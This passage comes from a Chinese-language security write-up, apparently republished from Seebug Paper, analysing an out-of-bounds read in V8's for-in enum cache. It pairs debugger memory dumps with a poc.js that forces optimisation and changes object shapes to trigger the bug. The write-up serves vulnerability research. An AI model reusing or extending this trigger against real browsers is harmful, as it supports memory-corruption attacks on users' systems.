0xe24000dbdb8:  0x00000089      0x00000002      0x00000000      0x000001f1
0xe24000dbdc8:  0x000dbdad      0x000dbdb9      0xbeadbeef      0xbeadbeef
0xe24000dbdd8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24000dbde8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24000dbdf8:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef

img

# r11 : index
# movl r9,[r9+r11*4+0x7] : get index number
>> r9
0xe24000dbdc4:  0x000001f1

如果它最初是从普通的 indeices[2] 结构中获取,那么它会包含值 2,但由于它是一个长度为 1 的结构,因此会检索 enum_cache 的映射,因此会发生 oob。

# movl r9,[r8+r12*2+0xb] : get value 
# r12 : 0x1f1 -> smi -> 0xf8
>>  x/20wx $r8+$r12*2+0xb
0xe24001ccaac:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccabc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccacc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccadc:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
0xe24001ccaec:  0xbeadbeef      0xbeadbeef      0xbeadbeef      0xbeadbeef
/* poc.js */

const object1 = {};
object1.a = 1;
const object2 = {};
object2.a = 2;
object2.b = 3;
const object3 = {};
object3.a = 4;
object3.b = 5;
object3.c = 6;

for (let key in object2) { } 

function trigger(callback) {
    for (let key in object2) {
        callback();
        console.log(object2[key]);
    }
}
% PrepareFunctionForOptimization(trigger);
trigger(_ => _);
trigger(_ => _);
% OptimizeFunctionOnNextCall(trigger);
trigger(_ => {
    object3.c = 1.1;  
    for (let key in object1) { }
});

Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3081/


文章来源: https://paper.seebug.org/3081/
如有侵权请联系:admin#unsafe.sh